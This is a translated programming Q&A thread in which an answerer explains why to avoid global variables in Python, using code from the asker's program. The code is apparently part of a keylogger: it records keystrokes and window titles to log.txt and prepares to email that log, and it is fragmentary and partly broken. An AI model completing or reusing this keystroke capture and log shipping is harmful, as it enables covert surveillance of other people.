Avoid using global variables unnecessarily. This only harms its application, especially when it needs to be maintained, because a variable can magically change value from one line to the other because a function, somewhere in the project, imported it from the global scope and changed it. If many functions do this, then you probably won’t know until what function did it.
Since they are two extremely simple functions, the best way is to import into the local scope of the function through the arguments of the function.
def function(event, janela):
arquivo = open('log.txt', 'a')
with open(arquivo, 'a') as stream:
if event.WindowsName != janela:
janela = event.WindowsName
stream.write('\n'+janela+' - ' + str(event.Time) + '\n')
stream.write(chr(event.Ascii))
return janela
def send_email(arquivo, msg):
body = 'Logs file uploaded successfully!'
msg.attach(MIMEText(body,'plain'))
attachment = open(arquivo, 'rb')
In function send_email
there’s still that object msg
which appeared magically in your code, so include as argument as well. Incidentally, when you start to rely heavily on needing to change the overall scope in functions, it’s clearly a clue that you need to create a class to act as this scope and retain the state you want between function calls.
But a priori, consider that each time you use a global variable a panda dies in China - and we all like pandas (Firefox is not so used for nothing). Do it at least until you are fully aware of what you are doing and really understand the need.
You can try setting the 'file' variable to global:
global arquivo
.– user113606
Thanks. I got it here.
– Tássio
The correct answer is: the way it is, you shouldn’t do it. If you’re closing the file on
function
, why would I use it insend_email
?– Woss